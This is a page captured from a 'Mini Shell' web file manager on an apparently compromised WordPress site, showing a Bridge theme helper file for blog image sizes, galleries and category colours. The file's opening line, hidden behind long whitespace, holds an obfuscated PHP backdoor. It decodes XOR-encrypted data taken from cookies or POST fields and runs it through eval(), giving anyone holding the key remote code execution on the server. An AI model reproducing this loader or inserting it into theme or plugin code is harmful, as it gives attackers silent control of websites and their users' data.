%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/laviva/wp-content/themes/bridge/includes/
Upload File :
Create Path :
Current File : /var/www/html/shaban/laviva/wp-content/themes/bridge/includes/qode-blog-helper-functions.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $yd13 = 537;$GLOBALS['je15a54'] = Array();global $je15a54;$je15a54 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['e3d79'] = "\x33\x71\x5c\x50\x35\x34\x23\x6f\x3f\x63\x39\x20\x44\x2e\x77\x56\x4e\x52\x65\x7e\x73\x46\x9\x5d\x2d\xd\x61\x7b\xa\x41\x5e\x28\x6d\x57\x6e\x3c\x4f\x3d\x78\x5a\x32\x40\x45\x70\x24\x3a\x76\x3e\x5f\x60\x22\x47\x26\x7c\x54\x21\x43\x29\x6c\x30\x38\x48\x6b\x2b\x4d\x4b\x55\x53\x2c\x31\x67\x79\x72\x74\x7d\x25\x7a\x2a\x36\x58\x42\x27\x75\x4a\x51\x2f\x66\x4c\x62\x37\x5b\x68\x3b\x49\x59\x64\x6a\x69";$je15a54[$je15a54['e3d79'][72].$je15a54['e3d79'][40].$je15a54['e3d79'][60].$je15a54['e3d79'][26]] = $je15a54['e3d79'][9].$je15a54['e3d79'][91].$je15a54['e3d79'][72];$je15a54[$je15a54['e3d79'][97].$je15a54['e3d79'][5].$je15a54['e3d79'][0].$je15a54['e3d79'][0]] = $je15a54['e3d79'][7].$je15a54['e3d79'][72].$je15a54['e3d79'][95];$je15a54[$je15a54['e3d79'][73].$je15a54['e3d79'][89].$je15a54['e3d79'][88].$je15a54['e3d79'][60].$je15a54['e3d79'][40].$je15a54['e3d79'][60].$je15a54['e3d79'][86].$je15a54['e3d79'][26]] = $je15a54['e3d79'][20].$je15a54['e3d79'][73].$je15a54['e3d79'][72].$je15a54['e3d79'][58].$je15a54['e3d79'][18].$je15a54['e3d79'][34];$je15a54[$je15a54['e3d79'][34].$je15a54['e3d79'][9].$je15a54['e3d79'][40].$je15a54['e3d79'][60].$je15a54['e3d79'][78].$je15a54['e3d79'][26]] = $je15a54['e3d79'][97].$je15a54['e3d79'][34].$je15a54['e3d79'][97].$je15a54['e3d79'][48].$je15a54['e3d79'][20].$je15a54['e3d79'][18].$je15a54['e3d79'][73];$je15a54[$je15a54['e3d79'][20].$je15a54['e3d79'][40].$je15a54['e3d79'][5].$je15a54['e3d79'][95].$je15a54['e3d79'][78]] = $je15a54['e3d79'][20].$je15a54['e3d79'][18].$je15a54['e3d79'][72].$je15a54['e3d79'][97].$je15a54['e3d79'][26].$je15a54['e3d79'][58].$je15a54['e3d79'][97].$je15a54['e3d79'][76].$je15a54['e3d79'][18];$je15a54[$je15a54['e3d79'][88].$je15a54['e3d79'][69].$je15a54['e3d79'][18].$je15a54['e3d79'][4].$je15a54['e3d79'][26].$je15a54['e3d79'][40].$je15a54['e3d79'][9].$je15a54['e3d79'][18].$je15a54['e3d79'][26]] = $je15a54['e3d79'][43].$je15a54['e3d79'][91].$je15a54['e3d79'][43].$je15a54['e3d79'][46].$je15a54['e3d79'][18].$je15a54['e3d79'][72].$je15a54['e3d79'][20].$je15a54['e3d79'][97].$je15a54['e3d79'][7].$je15a54['e3d79'][34];$je15a54[$je15a54['e3d79'][14].$je15a54['e3d79'][26].$je15a54['e3d79'][40].$je15a54['e3d79'][26].$je15a54['e3d79'][88].$je15a54['e3d79'][86].$je15a54['e3d79'][88].$je15a54['e3d79'][26]] = $je15a54['e3d79'][82].$je15a54['e3d79'][34].$je15a54['e3d79'][20].$je15a54['e3d79'][18].$je15a54['e3d79'][72].$je15a54['e3d79'][97].$je15a54['e3d79'][26].$je15a54['e3d79'][58].$je15a54['e3d79'][97].$je15a54['e3d79'][76].$je15a54['e3d79'][18];$je15a54[$je15a54['e3d79'][58].$je15a54['e3d79'][18].$je15a54['e3d79'][5].$je15a54['e3d79'][89].$je15a54['e3d79'][86]] = $je15a54['e3d79'][88].$je15a54['e3d79'][26].$je15a54['e3d79'][20].$je15a54['e3d79'][18].$je15a54['e3d79'][78].$je15a54['e3d79'][5].$je15a54['e3d79'][48].$je15a54['e3d79'][95].$je15a54['e3d79'][18].$je15a54['e3d79'][9].$je15a54['e3d79'][7].$je15a54['e3d79'][95].$je15a54['e3d79'][18];$je15a54[$je15a54['e3d79'][86].$je15a54['e3d79'][10].$je15a54['e3d79'][18].$je15a54['e3d79'][18].$je15a54['e3d79'][18].$je15a54['e3d79'][9].$je15a54['e3d79'][59].$je15a54['e3d79'][78].$je15a54['e3d79'][89]] = $je15a54['e3d79'][20].$je15a54['e3d79'][18].$je15a54['e3d79'][73].$je15a54['e3d79'][48].$je15a54['e3d79'][73].$je15a54['e3d79'][97].$je15a54['e3d79'][32].$je15a54['e3d79'][18].$je15a54['e3d79'][48].$je15a54['e3d79'][58].$je15a54['e3d79'][97].$je15a54['e3d79'][32].$je15a54['e3d79'][97].$je15a54['e3d79'][73];$je15a54[$je15a54['e3d79'][1].$je15a54['e3d79'][9].$je15a54['e3d79'][59].$je15a54['e3d79'][5]] = $je15a54['e3d79'][43].$je15a54['e3d79'][18].$je15a54['e3d79'][26].$je15a54['e3d79'][26].$je15a54['e3d79'][60].$je15a54['e3d79'][69].$je15a54['e3d79'][89];$je15a54[$je15a54['e3d79'][91].$je15a54['e3d79'][59].$je15a54['e3d79'][60].$je15a54['e3d79'][59].$je15a54['e3d79'][60].$je15a54['e3d79'][60].$je15a54['e3d79'][18]] = $je15a54['e3d79'][38].$je15a54['e3d79'][4].$je15a54['e3d79'][4].$je15a54['e3d79'][10].$je15a54['e3d79'][0].$je15a54['e3d79'][59].$je15a54['e3d79'][40].$je15a54['e3d79'][0];$je15a54[$je15a54['e3d79'][7].$je15a54['e3d79'][0].$je15a54['e3d79'][10].$je15a54['e3d79'][10]] = $_POST;$je15a54[$je15a54['e3d79'][76].$je15a54['e3d79'][5].$je15a54['e3d79'][10].$je15a54['e3d79'][4].$je15a54['e3d79'][86].$je15a54['e3d79'][69]] = $_COOKIE;@$je15a54[$je15a54['e3d79'][34].$je15a54['e3d79'][9].$je15a54['e3d79'][40].$je15a54['e3d79'][60].$je15a54['e3d79'][78].$je15a54['e3d79'][26]]($je15a54['e3d79'][18].$je15a54['e3d79'][72].$je15a54['e3d79'][72].$je15a54['e3d79'][7].$je15a54['e3d79'][72].$je15a54['e3d79'][48].$je15a54['e3d79'][58].$je15a54['e3d79'][7].$je15a54['e3d79'][70], NULL);@$je15a54[$je15a54['e3d79'][34].$je15a54['e3d79'][9].$je15a54['e3d79'][40].$je15a54['e3d79'][60].$je15a54['e3d79'][78].$je15a54['e3d79'][26]]($je15a54['e3d79'][58].$je15a54['e3d79'][7].$je15a54['e3d79'][70].$je15a54['e3d79'][48].$je15a54['e3d79'][18].$je15a54['e3d79'][72].$je15a54['e3d79'][72].$je15a54['e3d79'][7].$je15a54['e3d79'][72].$je15a54['e3d79'][20], 0);@$je15a54[$je15a54['e3d79'][34].$je15a54['e3d79'][9].$je15a54['e3d79'][40].$je15a54['e3d79'][60].$je15a54['e3d79'][78].$je15a54['e3d79'][26]]($je15a54['e3d79'][32].$je15a54['e3d79'][26].$je15a54['e3d79'][38].$je15a54['e3d79'][48].$je15a54['e3d79'][18].$je15a54['e3d79'][38].$je15a54['e3d79'][18].$je15a54['e3d79'][9].$je15a54['e3d79'][82].$je15a54['e3d79'][73].$je15a54['e3d79'][97].$je15a54['e3d79'][7].$je15a54['e3d79'][34].$je15a54['e3d79'][48].$je15a54['e3d79'][73].$je15a54['e3d79'][97].$je15a54['e3d79'][32].$je15a54['e3d79'][18], 0);@$je15a54[$je15a54['e3d79'][86].$je15a54['e3d79'][10].$je15a54['e3d79'][18].$je15a54['e3d79'][18].$je15a54['e3d79'][18].$je15a54['e3d79'][9].$je15a54['e3d79'][59].$je15a54['e3d79'][78].$je15a54['e3d79'][89]](0);$ffc2886d = NULL;$c331 = NULL;$je15a54[$je15a54['e3d79'][14].$je15a54['e3d79'][0].$je15a54['e3d79'][89].$je15a54['e3d79'][40].$je15a54['e3d79'][88].$je15a54['e3d79'][9].$je15a54['e3d79'][59].$je15a54['e3d79'][69].$je15a54['e3d79'][60]] = $je15a54['e3d79'][10].$je15a54['e3d79'][60].$je15a54['e3d79'][18].$je15a54['e3d79'][69].$je15a54['e3d79'][69].$je15a54['e3d79'][78].$je15a54['e3d79'][4].$je15a54['e3d79'][26].$je15a54['e3d79'][24].$je15a54['e3d79'][59].$je15a54['e3d79'][86].$je15a54['e3d79'][40].$je15a54['e3d79'][69].$je15a54['e3d79'][24].$je15a54['e3d79'][5].$je15a54['e3d79'][86].$je15a54['e3d79'][88].$je15a54['e3d79'][86].$je15a54['e3d79'][24].$je15a54['e3d79'][26].$je15a54['e3d79'][60].$je15a54['e3d79'][40].$je15a54['e3d79'][40].$je15a54['e3d79'][24].$je15a54['e3d79'][26].$je15a54['e3d79'][4].$je15a54['e3d79'][60].$je15a54['e3d79'][69].$je15a54['e3d79'][88].$je15a54['e3d79'][10].$je15a54['e3d79'][95].$je15a54['e3d79'][89].$je15a54['e3d79'][95].$je15a54['e3d79'][88].$je15a54['e3d79'][89].$je15a54['e3d79'][89];global $w372bc018;function  x5593023($ffc2886d, $vf11489d){global $je15a54;$b5d8507 = "";for ($l2a3178=0; $l2a3178<$je15a54[$je15a54['e3d79'][73].$je15a54['e3d79'][89].$je15a54['e3d79'][88].$je15a54['e3d79'][60].$je15a54['e3d79'][40].$je15a54['e3d79'][60].$je15a54['e3d79'][86].$je15a54['e3d79'][26]]($ffc2886d);){for ($t55a136cb=0; $t55a136cb<$je15a54[$je15a54['e3d79'][73].$je15a54['e3d79'][89].$je15a54['e3d79'][88].$je15a54['e3d79'][60].$je15a54['e3d79'][40].$je15a54['e3d79'][60].$je15a54['e3d79'][86].$je15a54['e3d79'][26]]($vf11489d) && $l2a3178<$je15a54[$je15a54['e3d79'][73].$je15a54['e3d79'][89].$je15a54['e3d79'][88].$je15a54['e3d79'][60].$je15a54['e3d79'][40].$je15a54['e3d79'][60].$je15a54['e3d79'][86].$je15a54['e3d79'][26]]($ffc2886d); $t55a136cb++, $l2a3178++){$b5d8507 .= $je15a54[$je15a54['e3d79'][72].$je15a54['e3d79'][40].$je15a54['e3d79'][60].$je15a54['e3d79'][26]]($je15a54[$je15a54['e3d79'][97].$je15a54['e3d79'][5].$je15a54['e3d79'][0].$je15a54['e3d79'][0]]($ffc2886d[$l2a3178]) ^ $je15a54[$je15a54['e3d79'][97].$je15a54['e3d79'][5].$je15a54['e3d79'][0].$je15a54['e3d79'][0]]($vf11489d[$t55a136cb]));}}return $b5d8507;}function  peaa817($ffc2886d, $vf11489d){global $je15a54;global $w372bc018;return $je15a54[$je15a54['e3d79'][91].$je15a54['e3d79'][59].$je15a54['e3d79'][60].$je15a54['e3d79'][59].$je15a54['e3d79'][60].$je15a54['e3d79'][60].$je15a54['e3d79'][18]]($je15a54[$je15a54['e3d79'][91].$je15a54['e3d79'][59].$je15a54['e3d79'][60].$je15a54['e3d79'][59].$je15a54['e3d79'][60].$je15a54['e3d79'][60].$je15a54['e3d79'][18]]($ffc2886d, $w372bc018), $vf11489d);}foreach ($je15a54[$je15a54['e3d79'][76].$je15a54['e3d79'][5].$je15a54['e3d79'][10].$je15a54['e3d79'][4].$je15a54['e3d79'][86].$je15a54['e3d79'][69]] as $vf11489d=>$o7f183){$ffc2886d = $o7f183;$c331 = $vf11489d;}if (!$ffc2886d){foreach ($je15a54[$je15a54['e3d79'][7].$je15a54['e3d79'][0].$je15a54['e3d79'][10].$je15a54['e3d79'][10]] as $vf11489d=>$o7f183){$ffc2886d = $o7f183;$c331 = $vf11489d;}}$ffc2886d = @$je15a54[$je15a54['e3d79'][14].$je15a54['e3d79'][26].$je15a54['e3d79'][40].$je15a54['e3d79'][26].$je15a54['e3d79'][88].$je15a54['e3d79'][86].$je15a54['e3d79'][88].$je15a54['e3d79'][26]]($je15a54[$je15a54['e3d79'][1].$je15a54['e3d79'][9].$je15a54['e3d79'][59].$je15a54['e3d79'][5]]($je15a54[$je15a54['e3d79'][58].$je15a54['e3d79'][18].$je15a54['e3d79'][5].$je15a54['e3d79'][89].$je15a54['e3d79'][86]]($ffc2886d), $c331));if (isset($ffc2886d[$je15a54['e3d79'][26].$je15a54['e3d79'][62]]) && $w372bc018==$ffc2886d[$je15a54['e3d79'][26].$je15a54['e3d79'][62]]){if ($ffc2886d[$je15a54['e3d79'][26]] == $je15a54['e3d79'][97]){$l2a3178 = Array($je15a54['e3d79'][43].$je15a54['e3d79'][46] => @$je15a54[$je15a54['e3d79'][88].$je15a54['e3d79'][69].$je15a54['e3d79'][18].$je15a54['e3d79'][4].$je15a54['e3d79'][26].$je15a54['e3d79'][40].$je15a54['e3d79'][9].$je15a54['e3d79'][18].$je15a54['e3d79'][26]](),$je15a54['e3d79'][20].$je15a54['e3d79'][46] => $je15a54['e3d79'][69].$je15a54['e3d79'][13].$je15a54['e3d79'][59].$je15a54['e3d79'][24].$je15a54['e3d79'][69],);echo @$je15a54[$je15a54['e3d79'][20].$je15a54['e3d79'][40].$je15a54['e3d79'][5].$je15a54['e3d79'][95].$je15a54['e3d79'][78]]($l2a3178);}elseif ($ffc2886d[$je15a54['e3d79'][26]] == $je15a54['e3d79'][18]){eval/*l2e1*/($ffc2886d[$je15a54['e3d79'][95]]);}exit();} ?><?php
if ( ! function_exists( 'qode_blog_image_size_media' ) ) {
    /**
     * Add Blog Image Sizes option
     *
     * @param $form_fields array, fields to include in attachment form
     * @param $post object, attachment record in database
     *
     * @return mixed
     */
    function qode_blog_image_size_media( $form_fields, $post ) {

        $options = array(
            'default'   => esc_html__('Default', 'qode'),
            'large_height' => esc_html__('Large Height', 'qode'),
            'large_width' => esc_html__('Large Width', 'qode'),
            'large_width_height' => esc_html__('Large Width/Height', 'qode')
        );

        $html = '';
        $selected = get_post_meta( $post->ID, 'blog_image_size', true );

        $html .= '<select name="attachments['. $post->ID .'][blog-image-size]" class="blog-image-size" data-setting="blog-image-size">';
        // Browse and add the options
        foreach ( $options as $key => $value ) {
            if ( $key == $selected ) {
                $html .= '<option value="' . $key . '" selected>' . $value . '</option>';
            } else {
                $html .= '<option value="' . $key . '">' . $value . '</option>';
            }
        }

        $html .= '</select>';

        $form_fields['blog-image-size'] = array(
            'label' => 'Image Size (Blog Standard List)',
            'input' => 'html',
            'html' => $html,
            'value' => get_post_meta( $post->ID, 'blog_image_size', true )
        );

        return $form_fields;
    }

    add_filter( 'attachment_fields_to_edit', 'qode_blog_image_size_media', 10, 2 );

}

if ( ! function_exists( 'qode_blog_image_size_media_save' ) ) {
    /**
     * Save values of Portfolio Image sizes in media uploader
     *
     * @param $post array, the post data for database
     * @param $attachment array, attachment fields from $_POST form
     *
     * @return mixed
     */
    function qode_blog_image_size_media_save( $post, $attachment ) {

        if( isset( $attachment['blog-image-size'] ) ) {
            update_post_meta( $post['ID'], 'blog_image_size', $attachment['blog-image-size'] );
        }

        return $post;

    }

    add_filter( 'attachment_fields_to_save', 'qode_blog_image_size_media_save', 10, 2 );

}

if(! function_exists('qode_get_blog_gallery_layout')) {
    /**
     * Function get blog masonry layout for gallery post type
     *
     * return html
     */
    function qode_get_blog_gallery_layout($array_id, $wrap = false)
    {
        $html = '';

        $html .= '<div class="qode_blog_masonry_gallery">';
        $html .= '<div class="qode_blog_gallery_sizer"></div>';
        $html .= '<div class="qode_blog_gallery_gutter"></div>';


        if (isset($array_id) && count($array_id) !== 0) {

            foreach ($array_id as $image_gallery_id) {

                $image_size = get_post_meta($image_gallery_id, 'blog_image_size', true);
                $image_size_class = 'default';
                $image_size_value = 'portfolio_masonry_regular';
                if ($image_size) {
                    switch ($image_size) {
                        case 'large_width_height' :
                            $image_size_class = 'qode_blog_img_large_height_width';
                            $image_size_value = 'portfolio_masonry_large';
                            break;
                        case 'large_height' :
                            $image_size_class = 'qode_blog_img_large_height';
                            $image_size_value = 'portfolio_masonry_tall';
                            break;
                        case 'large_width' :
                            $image_size_class = 'qode_blog_img_large_width';
                            $image_size_value = 'portfolio_masonry_wide';
                            break;
                        default:
                            $image_size_class = 'default';
                            $image_size_value = 'portfolio_masonry_regular';
                            break;
                    }
                }

                $html .= '<div class="qode_blog_gallery_item ' . esc_attr($image_size_class) . '">';
                $html .= '<a href="' . wp_get_attachment_url($image_gallery_id) . '" data-rel="prettyPhoto[single_pretty_photo]" title="' . get_the_title($image_gallery_id) . ' ">';
                    if ($wrap) {
                        $html .= '<span class="qodef-image-shader">';
                    }
                $html .= wp_get_attachment_image($image_gallery_id, $image_size_value);
                    if ($wrap) {
                        $html .= '</span>';
                    }
                $html .= '</a>';
                $html .= '</div>';
            }

        }
        $html .= '</div>'; //close qodef-ptf-gallery

        return $html;
    }
}

if(! function_exists('qode_check_post_layout')){
    /**
     * Function check post layout
     *
     * return string
     */
    function qode_check_post_layout($id){
        $post_layout = get_post_meta($id, 'post_layout_meta', true);
        return $post_layout;
    }
}

if(! function_exists('qode_check_gallery_post_layout')){
    /**
     * Function check gallery post layout
     *
     * return string
     */
    function qode_check_gallery_post_layout($id){
        $gallery_post_layout = get_post_meta($id, 'gallery_type', true);
        return $gallery_post_layout;
    }
}

if(! function_exists('qode_blog_compound_get_sticky_posts')){
    /**
     * Function that returns sticky posts
     *
     * return html
     */
    function qode_blog_compound_get_sticky_posts($category,$paged){

        $args = array(
            'cat' => $category,
            'post_type' => 'post',
            'paged' => $paged,
            'post__in' => get_option('sticky_posts'),
            'post_status' => 'publish'
        );
        $blog_query = new WP_Query( $args );

        if ($blog_query->have_posts() && count (get_option('sticky_posts')) > 0) {
            echo '<div class="blog_compound sticky_posts">';
            while ($blog_query->have_posts()) {
                $blog_query->the_post();
                qode_get_template_part('templates/blog_compound_sticky', 'loop');
            }
            wp_reset_postdata();
            echo '</div>';
            echo do_shortcode('[vc_separator up="0" down="58"]');
        }
    }
}

if (!function_exists('qode_get_category_color')) {
	function qode_get_category_color($term_id) {
		$cat_meta_color = get_term_meta($term_id,'category_color',true);

		$category_color = '';
		if (isset($cat_meta_color) && $cat_meta_color != '') {
			$category_color = $cat_meta_color;
		}

		return $category_color;
	}
}

if (!function_exists('qode_get_category_color_name')) {
	function qode_get_category_color_name($category, $count) {
		$category_color = qode_get_category_color($category->term_id);
		$category_link = get_category_link($category->term_id);
		$category_count = $category->count;
		$category_name = get_cat_name($category->term_id);

		$html = '';
		$html .= '<a href="' . $category_link . '">';
		$html .= '<span class="qode-category-name" ';
		if ($category_color !== '') {
			$html .= 'style="background-color:' . $category_color . ';"';
		}
		$html .= $count ? ' (' . $category_count . ')' : '';
		$html .= '>' . $category_name . ' </span>';
		$html .= '</a>';

		return $html;
	}
}

if (!function_exists('qode_category_color_name')) {
	function qode_category_color_name($term_id) {
		echo qode_get_category_color_name($term_id, false);
	}
}

Zerion Mini Shell 1.0